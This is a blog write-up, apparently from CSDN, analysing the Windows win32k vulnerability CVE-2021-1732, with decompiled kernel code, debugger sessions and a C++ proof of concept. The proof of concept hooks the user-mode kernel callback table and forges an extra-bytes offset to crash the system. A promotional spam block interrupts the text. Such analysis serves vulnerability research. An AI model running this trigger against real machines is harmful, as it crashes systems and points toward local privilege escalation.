[Security vulnerability] CVE-2021-1732 win32k vulnerability analysis

Vulnerability description

There is a Type Confusion vulnerability in the win32kfull!xxxClientAllocWindowClassExtraBytes function of the kernel module win32kfull.sys. Using this vulnerability to read and write out of bounds, local privilege escalation can be achieved.

Windows versions affected by the official notification:

Windows 10 Version 1803/1809/1909/2004/20h2

Windows Server, version 1909/20H2(Server Core installation)

Windows 10 Version for 32-bit Systems

Windows Server 2019

Vulnerability Analysis

Analyze Windows version: win10 20h2 19042.508

The Type Confusion vulnerability exists in the win32kfull!xxxCreateWindowEx function. The pseudocode of the vulnerability point in the function is as follows:

How did the vulnerability arise? This has to start with the window creation

[→Follow me for all resources, and reply to "data" by private message to get ←]
1. Network security learning route
2. E-books (white hat)
3. Internal video of a big security company4,
100 src documents5
, common security interview questions6
, Analysis of the classic topics of the ctf competition
7, a full set of toolkits
8, emergency response notes

Before creating a custom window, you need to register a custom window class. The structure of the window class is as follows:

typedef struct tagWNDCLASSA {
  UINT      style;
  WNDPROC   lpfnWndProc;
  int       cbClsExtra;
  int       cbWndExtra;
  HINSTANCE hInstance;
  HICON     hIcon;
  HCURSOR   hCursor;
  HBRUSH    hbrBackground;
  LPCSTR    lpszMenuName;
  LPCSTR    lpszClassName;
} WNDCLASSA, *PWNDCLASSA, *NPWNDCLASSA, *LPWNDCLASSA;

Fill in the members of the structure of the window class, and then you can call CreateWindow(EXA/W) to create a window. The overall execution flow from R0 to R3 is as follows:

00 fffffe82`32d3f848 fffff467`52aa51a9     win32kfull!xxxCreateWindowEx
01 fffffe82`32d3f850 fffff467`5285519e     win32kfull!NtUserCreateWindowEx+0x679
02 fffffe82`32d3f9f0 fffff802`36e058b5     win32k!NtUserCreateWindowEx+0xc2
03 fffffe82`32d3fa90 00007ffe`d86e1ec4     nt!KiSystemServiceCopyEnd+0x25
04 00000062`2ad9f7d8 00007ffe`d8ca7d8b     win32u!NtUserCreateWindowEx+0x14
05 00000062`2ad9f7e0 00007ffe`d8ca7958     USER32!VerNtUserCreateWindowEx+0x20f
06 00000062`2ad9fb70 00007ffe`d8ca3c92     USER32!CreateWindowInternal+0x1a4
07 00000062`2ad9fcd0 00007ff7`9418144d     USER32!CreateWindowExA+0x82

It can be seen that when creating a window, the function win32kfull!xxxCreateWindowEx that exists in the vulnerability will eventually be entered. So how can we call win32kfull!xxxClientAllocWindowClassExtraBytes in win32kfull!xxxCreateWindowEx (that is, reach line: 974 in the above figure)?

When the tagWNDCLASSA class sets the cbWndExtra member (the extra bytes allocated for the window instance) to not 0, the win32kfull!xxxClientAllocWindowClassExtraBytes function is called, and the problem lies in this function

v50 is a tagWND structure pointer. The tagWND has some changes in the win10 version compared to the win7 version. The key members of the tagWND structure are as follows (the picture comes from the Red Raindrop team), ( _QWORD )( (((_QWORD *)v50 + 5) + 0x128i64) is the pExtraBytes in the figure below. In the current normal execution process, it is assigned the heap address applied for by win32kfull!xxxClientAllocWindowClassExtraBytes. How do you know it is the heap address? see below

Decompile the function win32kfull!xxxClientAllocWindowClassExtraBytes and get the following results:

volatile void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length)
{
  SIZE_T v1; // rdi
  int v2; // ebx
  __int64 *v3; // rcx
  volatile void *v4; // rbx
  __int64 CurrentProcessWow64Process; // rax
  unsigned __int64 v7; // [rsp+30h] [rbp-38h] BYREF
  volatile void *v8; // [rsp+38h] [rbp-30h]
  char v9; // [rsp+70h] [rbp+8h] BYREF
  char v10; // [rsp+78h] [rbp+10h] BYREF
  int v11; // [rsp+80h] [rbp+18h] BYREF
  int v12; // [rsp+88h] [rbp+20h] BYREF

  v1 = (unsigned int)Length;
  v7 = 0i64;
  v11 = 0;
  v8 = 0i64;
  v12 = Length;
  if ( gdwInAtomicOperation && (gdwExtraInstrumentations & 1) != 0 )
    KeBugCheckEx(0x160u, gdwInAtomicOperation, 0i64, 0i64, 0i64);
  ReleaseAndReacquirePerObjectLocks::ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
  LeaveEnterCritProperDisposition::LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
  EtwTraceBeginCallback(0x7Bi64);
  v2 = KeUserModeCallback(0x7Bi64, &v12, 4i64, &v7, &v11);
  EtwTraceEndCallback(0x7Bi64);
  LeaveEnterCritProperDisposition::~LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
  ReleaseAndReacquirePerObjectLocks::~ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
  if ( v2 < 0 || v11 != 0x18 )
    return 0i64;
  v3 = (__int64 *)v7;
  if ( v7 + 8 < v7 || v7 + 8 > MmUserProbeAddress )
    v3 = (__int64 *)MmUserProbeAddress;
  v8 = (volatile void *)*v3;
  v4 = v8;
  CurrentProcessWow64Process = PsGetCurrentProcessWow64Process();
  ProbeForRead(v4, v1, CurrentProcessWow64Process != 0 ? 1 : 4);
  return v4;
}

The function calls KeUserModeCallback to return to the user mode to execute the callback function. The prototype of the KeUserModeCallback function is as follows:

NTSTATUS KeUserModeCallback (
       IN ULONG ApiNumber,
       IN PVOID   InputBuffer,
       IN ULONG InputLength,
       OUT PVOID *OutputBuffer,
       IN PULONG OutputLength
       );

First, according to the API number 0x7b, it can be determined that the callback function is user32!_xxxClientAllocWindowClassExtraBytes

0: kd> dt ntdll!_PEB @$peb Ke*
   +0x058 KernelCallbackTable : 0x00007fff`4e1e1070 Void
0: kd> u poi(0x00007fff`4e1e1070 + 7b * 8)
user32!_xxxClientAllocWindowClassExtraBytes:
00007fff`4e177840 4883ec48        sub     rsp,48h
00007fff`4e177844 8364242800      and     dword ptr [rsp+28h],0
00007fff`4e177849 488364243000    and     qword ptr [rsp+30h],0
00007fff`4e17784f 448b01          mov     r8d,dword ptr [rcx]
00007fff`4e177852 ba08000000      mov     edx,8
00007fff`4e177857 488b0dd2b70800  mov     rcx,qword ptr [user32!pUserHeap (00007fff`4e203030)]
00007fff`4e17785e 48ff154bb20600  call    qword ptr [user32!_imp_RtlAllocateHeap (00007fff`4e1e2ab0)]
00007fff`4e177865 0f1f440000      nop     dword ptr [rax+rax]

Disassembly of user32!_xxxClientAllocWindowClassExtraBytes yields the following results:

NTSTATUS __fastcall _xxxClientAllocWindowClassExtraBytes(unsigned int *a1)
{
  PVOID Result; // [rsp+20h] [rbp-28h] BYREF
  int v3; // [rsp+28h] [rbp-20h]
  __int64 v4; // [rsp+30h] [rbp-18h]

  v3 = 0;
  v4 = 0i64;
  Result = RtlAllocateHeap(pUserHeap, 8u, *a1);
  return NtCallbackReturn(&Result, 0x18u, 0);
}

The function calls RtlAllocateHeap to apply for *a1(Length) bytes of space from the user heap space pointed to by pUserHeap, and returns the heap address to the kernel state through NtCallbackReturn. The prototype of the NtCallbackReturn function is as follows:

So we can get the execution flow like this

xxxClientAllocWindowClassExtraBytes > KeUserModeCallback > _xxxClientAllocWindowClassExtraBytes > NtCallbackReturn

The above are all normal execution processes. Next, let’s talk about the process of vulnerability generation.

pExtraBytes(offset: 0x128) is related to the ExtraFlag(offset: 0xe8) flag: when ExtraFlag & 0x800 == 0, pExtraBytes represents the memory pointer, that is, the above heap address; when ExtraFlag & 0x800 != 0, pExtraBytes represents is the memory offset

Because the win32kfull!xxxClientAllocWindowClassExtraBytes function is executed, the ExtraFlag of tagWND is not checked, so a malicious attacker can make tagWNDExtraFlag ExtraFlag | 0x800 in the callback function, which will cause pExtraBytes to represent a memory offset and no longer represent a memory address. , then maliciously control the offset of pExtraBytes, and also call NtCallbackReturn to return the offset value to the kernel, so that out-of-bounds read and write can occur, and through out-of-bounds read and write, read and write primitives can be obtained, which eventually leads to local privilege escalation

Vulnerability verification

Two key points of vulnerability verification:

  • Path to the vulnerability
  • The environment that triggers the vulnerability

The path to the vulnerability: set cbWndExtra of tagWNDCLASSA, call CreateWindow to create a window

The environment that triggers the vulnerability: Modify the ExtraFlag of tagWND in the callback function and return the specified offset value

POC writing

Before writing the POC, there are still some questions that need to be clarified:

  1. How to get window handle during call to CreateWindow (function does not return)
  2. How to modify the ExtraFlag of tagWND

Question 1: After referring to some methods published on the Internet, I chose a method of reuse, which is similar to constructing a hole of a specified size for control allocation after pool injection. To put it simply, it is to allocate a certain number of windows (the window class is the same), then destroy these windows, and then create the window to trigger the vulnerability (the pExtraBytes of the window is a special value), and the window that triggers the vulnerability will be assigned to a certain The memory area where the window just destroyed is located. How do we get the window handle after the window that triggers the vulnerability is occupied? It turns out that we can leak the memory pointer of tagWND in user mode through the handle of the window created at the beginning. The first address stores the window handle, and the offset 0xc8 stores pExtraBytes. By comparing the special values, we can search for it. The user mode tagWND first address of the window that triggered the vulnerability, read the value of its first address, and then get its window handle

Question 2: The great gods found that the win32kfull!xxxConsoleControl function can set the ExtraFlag of tagWND, and the user mode API that calls this function is NtUserConsoleControl

__int64 __fastcall xxxConsoleControl(int a1, struct _CONSOLE_PROCESS_INFO *a2, int a3)
{
    ...

    v16 = (_QWORD *)ValidateHwnd(*(_QWORD *)a2);// 获取tagWND的地址
    v17 = (__int64)v16;

    ...

    v18 = v16 + 5;// 获取pwnd的地址(真正的tagWND)

    ...

    // 若ExtraFlag  & 0x800 != 0
    if ( (*(_DWORD *)(*v18 + 0xE8i64) & 0x800) != 0 )
    {
      v23 = (_DWORD *)(*(_QWORD *)(*(_QWORD *)(v17 + 0x18) + 0x80i64) + *(_QWORD *)(v22 + 0x128));
    }
    else
    {
      // 从桌面堆进行分配
      v23 = (_DWORD *)DesktopAlloc(*(_QWORD *)(v17 + 0x18), *(unsigned int *)(v22 + 0xC8), 0i64);

      ...

      if ( *(_QWORD *)(*v18 + 0x128i64) )
      {
        CurrentProcess = PsGetCurrentProcess();
        v30 = *(_DWORD *)(*v18 + 0xC8i64);
        v29 = *(const void **)(*v18 + 0x128i64);
        memmove(v23, v29, v30);
        if ( (*(_DWORD *)(CurrentProcess + 1124) & 0x40000008) == 0 )
          xxxClientFreeWindowClassExtraBytes(v17, *(_QWORD *)(*(_QWORD *)(v17 + 40) + 0x128i64));
      }
      *(_QWORD *)(*v18 + 0x128i64) = (char *)v23 - *(_QWORD *)(*(_QWORD *)(v17 + 24) + 0x80i64);
    }
    if ( v23 )
    {
      *v23 = *((_DWORD *)a2 + 2);
      v23[1] = *((_DWORD *)a2 + 3);
    }

    // 将ExtraFlag |= 0x800u 
    *(_DWORD *)(*v18 + 0xE8i64) |= 0x800u;
    goto LABEL_33;
  }
  ...
}

After the above issues are resolved, you can happily write your POC

  1. Get some key function addresses: The HMValidateHandle function can obtain the address of the user mode tagWND according to the window handle. Although it is not an export function, it can be searched in the memory area where the IsMenu function is located; the NtCallbackReturn function can return the result to the kernel, as mentioned above. and
VOID InitFunction()
{
    HMODULE hNtdll = LoadLibraryA("ntdll.dll"), hWin = LoadLibraryA("win32u.dll"), hUser = LoadLibraryA("user32.dll");

    if (!hNtdll || !hWin || !hUser)
    {
        ErrorOutput("[-] Failed to load the ntdll.dll, win32u.dll, user32.dll\n");
    }

    global::NtCallbackReturn = (pNtCallbackReturn)GetProcAddress(hNtdll, "NtCallbackReturn");
    global::NtUserConsoleControl = (pNtUserConsoleControl)GetProcAddress(hWin, "NtUserConsoleControl");
    if (!global::NtCallbackReturn || !global::NtUserConsoleControl)
    {
        ErrorOutput("[-] Failed to get NtCallbackReturn, NtUserConsoleControl\n");
    }

    PBYTE isMenu = (PBYTE)GetProcAddress(hUser, "IsMenu");
    if (!isMenu)
    {
        ErrorOutput("[-] Failed to get NtCallbackReturn, NtUserConsoleControl\n");
    }

    while (*isMenu++ != 0xe8);
    global::HMValidateHandle = (pHMValidateHandle)(isMenu + 4 + (*(PLONG32)isMenu));

    if (!global::HMValidateHandle)
    {
        ErrorOutput("[-] Failed to get HMValidateHandle\n");
    }
}
  1. Call the VirtualProtect function to modify the properties of the memory page where the callback function table is located, and replace the corresponding callback function with a custom callback function: __readgsqword(0x60) gets the PEB structure address of the current process, and the PEB structure offset 0x58 is KernelCallbackTable (callback function surface)
3: kd> dt ntdll!_PEB KernelCallbackTable
   +0x058 KernelCallbackTable : Ptr64 Void

VOID HookCallBack()
{
    ULONG64 KernelCallbackTable = *(PULONG64)(__readgsqword(0x60) + 0x58);
    if (!KernelCallbackTable)
    {
        printf("[-] Failed to get kernel callback table\n");
        exit(1);
    }

    DWORD oldProtect = 0;
    ULONG64 target = KernelCallbackTable + (0x7B * 8);

    VirtualProtect((LPVOID)target, 0x100, PAGE_EXECUTE_READWRITE, &oldProtect);

    global::orginCallBack = (pCallBack)(*(PULONG64)target);
    *(PULONG64)target = (ULONG64)FakeCallBack;

    VirtualProtect((LPVOID)target, 0x100, oldProtect, &oldProtect);
}
  1. Custom callback function: NtCallbackReturn is used to return the specified offset to the kernel. The calling method is modeled after _xxxClientAllocWindowClassExtraBytes. The calling parameters of NtUserConsoleControl are a little particular. Before the kernel calls xxxConsoleControl, NtUserConsoleControl is called, and there will be some small checks, namely One parameter cannot be greater than 6, and the third parameter cannot be greater than 0x18

And there is a part of the check in xxxConsoleControl, and finally it is decided that the first parameter is 6 and the last parameter is 0x10

VOID FakeCallBack(PULONG32 para)
{
    if (*para == global::magicNum && global::flag)
    {
        printf("[+] Enter the fake callback\n");
        HWND target = NULL;

        for (ULONG32 idx = 2; idx < 20; ++idx)
        {
            if (*(PULONG64)(global::pWnds[idx] + 0xc8) == global::magicNum)
            {
                target = (HWND) * (PULONG64)global::pWnds[idx];
                printf("[+] Find the target wnd handle: 0x%I64x\n", (ULONG64)target);
                printf("[+] Find the target wnd address: 0x%I64x\n", (ULONG64)global::pWnds[idx]);
                break;
            }
        }

        // set flag
        ULONG64 buffer1[2] = { (ULONG64)target, 0 };
        global::NtUserConsoleControl(6, buffer1, 0x10);

        // set offset
        ULONG64 buffer2[3] = { 0x1234, 0, 0 };
        global::NtCallbackReturn(buffer2, 0x18, 0);
    }

    return global::orginCallBack(para);
}

1.1. Window creation and destruction: first create 20 regular windows, use HMValidateHandle to leak the window address, then release windows 2 to 19 (all of them can be released), create a window that triggers the vulnerability, and finally destroy the window that triggers the vulnerability. BSOD can be triggered

int main()
{
    InitFunction();
    HookCallBack();

    HINSTANCE hInstance = GetModuleHandleA(NULL);
    WNDCLASSA wc{ 0 };
    wc.lpfnWndProc = WindowProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = "Normal";
    wc.cbWndExtra = 0x10;

    ATOM normalClass = RegisterClassA(&wc);
    if (!normalClass)
    {
        ErrorOutput("[-] Failed to register normal class\n");
    }

    wc.lpszClassName = "Magic";
    wc.cbWndExtra = global::magicNum;
    ATOM magicClass = RegisterClassA(&wc);
    if (!magicClass)
    {
        ErrorOutput("[-] Failed to register magic class\n");
    }

    for (ULONG32 idx = 0; idx < 20; ++idx)
    {
        global::hWnds[idx] = CreateWindowExA(0x8000000, "Normal", "NormalWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);
        if (!global::hWnds[idx])
        {
            ErrorOutput("[-] Failed to create normal window\n");
        }
        global::pWnds[idx] = global::HMValidateHandle((HMENU)global::hWnds[idx], 1);
    }

    for (ULONG32 idx = 2; idx < 20; ++idx)
    {
        if (global::hWnds[idx])
        {
            DestroyWindow(global::hWnds[idx]);
        }
    }

    global::flag = TRUE;
    HWND hMagic = CreateWindowExA(0x8000000, "Magic", "MagicWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);
    if (!hMagic)
    {
        ErrorOutput("[-] Failed to create magic window\n");
    }

    DestroyWindow(hMagic);
    return 0;
}

POC debugging

Set a breakpoint in the callback function, check the memory according to the pointer printed on the command line, you can see the handle stored at the first address, the offset 0xc8 is the special value 0xabcd

2: kd> dq 27dab7814c0 l20
0000027d`ab7814c0  00000000`00020350 00000000`000314c0
0000027d`ab7814d0  00000000`00000000 08000000`08000000
0000027d`ab7814e0  00007ff6`13040000 00000000`00000000
0000027d`ab7814f0  00000000`000012b0 00000000`00000000
0000027d`ab781500  00000000`00000000 00000000`00000000
0000027d`ab781510  00000000`00000000 00000000`00000000
0000027d`ab781520  00000000`00000000 00000000`00000000
0000027d`ab781530  00000000`00000000 00007ff6`130410a0
0000027d`ab781540  00000000`0000f160 00000000`00000000
0000027d`ab781550  00000000`00000000 00000000`00000000
0000027d`ab781560  00000000`00000000 00000000`00000000
0000027d`ab781570  00000000`00000000 00000000`00000000
0000027d`ab781580  00000000`00000000 00000000`0000abcd
0000027d`ab781590  00000000`00020221 00000000`00000000
0000027d`ab7815a0  00000000`00000000 00000001`00000000
0000027d`ab7815b0  00000000`00000000 00000000`00000000
2: kd> ? 0000027d`ab781588-0000027d`ab7814c0
Evaluate expression: 200 = 00000000`000000c8

Trace the xxxConsoleControl function in the kernel, and check the window structure in the kernel. When the function is not executed, the flag ExtraFlag has not been set. Once executed, the flag ExtraFlag is set.

2: kd> dq ffff8a5905879150 l10
ffff8a59`05879150  00000000`00020350 00000000`00000001
ffff8a59`05879160  ffff8a59`02ee48a0 ffff8f01`0b551de0
ffff8a59`05879170  ffff8a59`05879150 ffff8a59`012314c0
ffff8a59`05879180  00000000`000314c0 00000000`00000000
ffff8a59`05879190  00000000`00000000 00000000`00000000
ffff8a59`058791a0  00000000`00000000 00000000`00000000
ffff8a59`058791b0  00000000`00000000 ffff8a59`00830a80
ffff8a59`058791c0  00000000`00000000 00000000`00000000
2: kd> dq poi(@rax+28)
ffff8a59`012314c0  00000000`00020350 00000000`000314c0
ffff8a59`012314d0  00000000`00000000 08000000`08000000
ffff8a59`012314e0  00007ff6`13040000 00000000`00000000
ffff8a59`012314f0  00000000`000012b0 00000000`00000000
ffff8a59`01231500  00000000`00000000 00000000`00000000
ffff8a59`01231510  00000000`00000000 00000000`00000000
ffff8a59`01231520  00000000`00000000 00000000`00000000
ffff8a59`01231530  00000000`00000000 00007ff6`130410a0
2: kd> ? poi(poi(@rax+28) + e8)
Evaluate expression: 4294967296 = 00000001`00000000
2: kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007fff`f6820192 cc              int     3
1: kd> dq ffff8a59`012314c0+e8 L1
ffff8a59`012315a8  00000001`00100818
1: kd> ? 00000001`00100818 & 0x800
Evaluate expression: 2048 = 00000000`00000800

Breakpoint under the next instruction of calling win32kfull!xxxClientAllocWindowClassExtraBytes function in xxxCreateWindowEx

3: kd> ba e1 ffff8348`7883ce09
3: kd> g
Breakpoint 0 hit
win32kfull!xxxCreateWindowEx+0x1259:
ffff8348`7883ce09 488bc8          mov     rcx,rax
3: kd> r rax
rax=0000000000001234

After executing this xxxCreateWindowEx function, continuing to execute DestroyWindow in the poc will trigger a blue screen

NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=00000000000c2000 rbx=0000000000000000 rcx=00000000000c2000
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80557e61cf1 rsp=fffff080407c6740 rbp=ffff8a5901200040
 r8=ffff8a590113f000  r9=00000000014b92ca r10=ffff8a5901201234
r11=014b92ca3db812e6 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
nt!RtlpHpVsContextFree+0x41:
fffff805`57e61cf1 410fb74822      movzx   ecx,word ptr [r8+22h] ds:ffff8a59`0113f022=????
Resetting default scope

STACK_TEXT:  
fffff080`407c5b68 fffff805`580c7422     : ffff8a59`0113f022 00000000`00000003 fffff080`407c5cd0 fffff805`57f3bb20 : nt!DbgBreakPointWithStatus
fffff080`407c5b70 fffff805`580c6b12     : fffff805`00000003 fffff080`407c5cd0 fffff805`57ff3960 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
fffff080`407c5bd0 fffff805`57fdf327     : fffff805`582844f8 fffff805`580f0fb5 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0x952
fffff080`407c62d0 fffff805`58001663     : 00000000`00000050 ffff8a59`0113f022 00000000`00000000 fffff080`407c65b0 : nt!KeBugCheckEx+0x107
fffff080`407c6310 fffff805`57e90edf     : fffff080`407f1000 00000000`00000000 00000000`00000000 ffff8a59`0113f022 : nt!MiSystemFault+0x1d6933
fffff080`407c6410 fffff805`57fed320     : 00000000`00000000 fffff805`57e84817 00000000`00000001 00000000`00000000 : nt!MmAccessFault+0x34f
fffff080`407c65b0 fffff805`57e61cf1     : ffffa10d`a650ec60 fffff805`5905208d 00000000`00000350 ffff8f01`0e353080 : nt!KiPageFault+0x360
fffff080`407c6740 fffff805`57f0b7fa     : 00000000`00000008 fffff080`407c6840 00000000`00000008 00000000`00000003 : nt!RtlpHpVsContextFree+0x41
fffff080`407c67e0 fffff805`57f0b77c     : ffff8a59`01200000 00000000`00000000 ffff8a59`01201234 00000000`000002a0 : nt!RtlpFreeHeapInternal+0x5a
fffff080`407c6860 ffff8a2a`1d249973     : 00000000`00001234 00000000`00000000 00000000`00000000 ffff8a59`05879150 : nt!RtlFreeHeap+0x3c
fffff080`407c68a0 ffff8a2a`1d2463be     : ffff8a59`00693920 00000000`08000100 ffff8a59`02ee48a0 ffff8a59`05879150 : win32kfull!xxxFreeWindow+0x4bf
fffff080`407c69d0 ffff8a2a`1d319e3a     : 00007ff6`13043474 00000000`00000000 00007ff6`13040000 00000000`00000020 : win32kfull!xxxDestroyWindow+0x3ae
fffff080`407c6ad0 fffff805`57ff0b18     : 0000027d`40000600 0000000a`00000000 ffffffff`ffe17b80 ffff8f01`0d3e6be0 : win32kfull!NtUserDestroyWindow+0x3a
fffff080`407c6b00 00007fff`f5cb23e4     : 00007ff6`1304151d 00000000`00000098 00000000`00000000 00007ff6`00000000 : nt!KiSystemServiceCopyEnd+0x28
000000d5`26dffd28 00007ff6`1304151d     : 00000000`00000098 00000000`00000000 00007ff6`00000000 00000000`00000000 : win32u!NtUserDestroyWindow+0x14
000000d5`26dffd30 00000000`00000098     : 00000000`00000000 00007ff6`00000000 00000000`00000000 00000000`00000000 : poc!main+0x33d [D:\SelfLearn\C++Project\Exploit\Exploit\2021-1732-EXP.cpp @ 170] 
000000d5`26dffd38 00000000`00000000     : 00007ff6`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x98

Guess you like

Origin blog.csdn.net/HBohan/article/details/123664443